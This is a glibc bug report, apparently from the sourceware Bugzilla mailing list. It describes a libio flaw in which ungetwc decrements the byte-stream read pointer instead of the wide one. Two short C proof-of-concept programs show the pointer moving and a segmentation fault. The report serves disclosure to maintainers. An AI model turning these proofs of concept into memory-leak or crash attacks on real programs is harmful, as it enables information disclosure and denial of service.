[Bug stdio/33998] New: libio: ungetwc could be used to leak data on special conditions
marocketbd at gmail dot com
sourceware-bugzilla@sourceware.org
Tue Mar 17 10:46:41 GMT 2026
https://sourceware.org/bugzilla/show_bug.cgi?id=33998
Bug ID: 33998
Summary: libio: ungetwc could be used to leak data on special
conditions
Product: glibc
Version: 2.44
Status: UNCONFIRMED
Severity: normal
Priority: P2
Component: stdio
Assignee: unassigned at sourceware dot org
Reporter: marocketbd at gmail dot com
Target Milestone: ---
Flags: security?
In libio/wgenops.c::_IO_wdefault_pbackfail, the function tries to read
fp->_IO_read_ptr[-1] instead of fp->_wide_data->_IO_read_ptr[-1]. Examining
backtrace, if the wchar to push back is not fp->_wide_data->_IO_read_ptr[-1],
but equals to fp->_IO_read_ptr[-1], then the byte stream read_ptr is decreased
without check. Attacker can exploit this to probe data in front of allocated
buffer. Or attacker can trigger SIGSEGV if the byte stream is not initialized.
Down below is a poc to demonstrate that read ptr in wide stream is not touched,
and read ptr in byte stream is modified. In my environment LC_ALL is set to
zh_CN.UTF-8; and the content of "testfile" is "测试test\n". Compile the unit
below and run it could get the following output:
before: fp->read_ptr = 0x56235ce2f818, fp->wide_data->read_ptr = 0x56235ce30824
after : fp->read_ptr = 0x56235ce2f813, fp->wide_data->read_ptr = 0x56235ce30824
Perhaps for some codec, attacker could decrease fp->read_ptr to lower than
fp->buf_base to leak information.
Another poc shows that wide stream opened by open_wmemstream have NULL on
fp->read_ptr, leading to SIGSEGV when accessing fp->_IO_read_ptr[-1]. A typical
output is:
fgetwc=0x41
zsh: segmentation fault (core dumped) ./a.out
Looking into glibc history, it seems that the bug is originated from the first
version of the file.
---
#include <locale.h>
#include <stdio.h>
#include <wchar.h>
int main(void) {
setlocale(LC_ALL, "");
FILE *fp = fopen("testfile", "r+");
wchar_t buf[2];
setvbuf(fp, NULL, _IOLBF, 0x100);
fputwc(L'中', fp);
fgetwc(fp);
struct _IO_FILE *ptr = fp;
printf("before: fp->read_ptr = %p, fp->wide_data->read_ptr = %p\n",
ptr->_IO_read_ptr, *(void **)ptr->_wide_data);
ungetwc(L'\n', fp);
ungetwc(L't', fp);
ungetwc(L's', fp);
ungetwc(L'e', fp);
ungetwc(L't', fp);
printf("after : fp->read_ptr = %p, fp->wide_data->read_ptr = %p\n",
ptr->_IO_read_ptr, *(void **)ptr->_wide_data);
return 0;
}
---
#include <stdio.h>
#include <wchar.h>
int main(void) {
wchar_t *buf = NULL;
size_t size = 0;
FILE *fp = open_wmemstream(&buf, &size);
fputwc(L'A', fp);
fputwc(L'B', fp);
wint_t wc = fgetwc(fp);
printf("fgetwc=%#x\n", wc);
ungetwc(L'C', fp);
fclose(fp);
return 0;
}
--
You are receiving this mail because:
You are on the CC list for the bug.
More information about the Glibc-bugs
mailing list